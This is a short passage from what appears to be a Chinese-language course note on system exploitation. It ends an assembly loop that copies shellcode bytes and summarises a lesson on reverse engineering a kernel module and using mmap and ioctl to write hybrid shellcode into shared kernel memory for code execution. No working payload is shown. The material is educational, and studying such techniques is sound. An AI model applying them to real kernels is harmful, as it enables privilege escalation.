cmp rcx, (len(y86_code) / 8) ; 比较是否完成
jl loop_start ; 如果未完成,继续循环
通过编写这样的循环,我们可以避免手动硬编码每一个字节,使代码更健壮和可维护。这正是利用编程技巧简化复杂任务的体现。

总结
本节课我们一起学习了系统利用中的一个实际挑战。我们回顾了分支预测器的概念,讨论了课程评分与时间管理策略,并详细分析了如何通过逆向工程和编写混合shellcode来与内核模块交互,最终实现代码执行。关键点在于理解mmap和ioctl的用法,以及如何用高效的汇编循环将数据写入内核共享内存。

浙公网安备 33010602011771号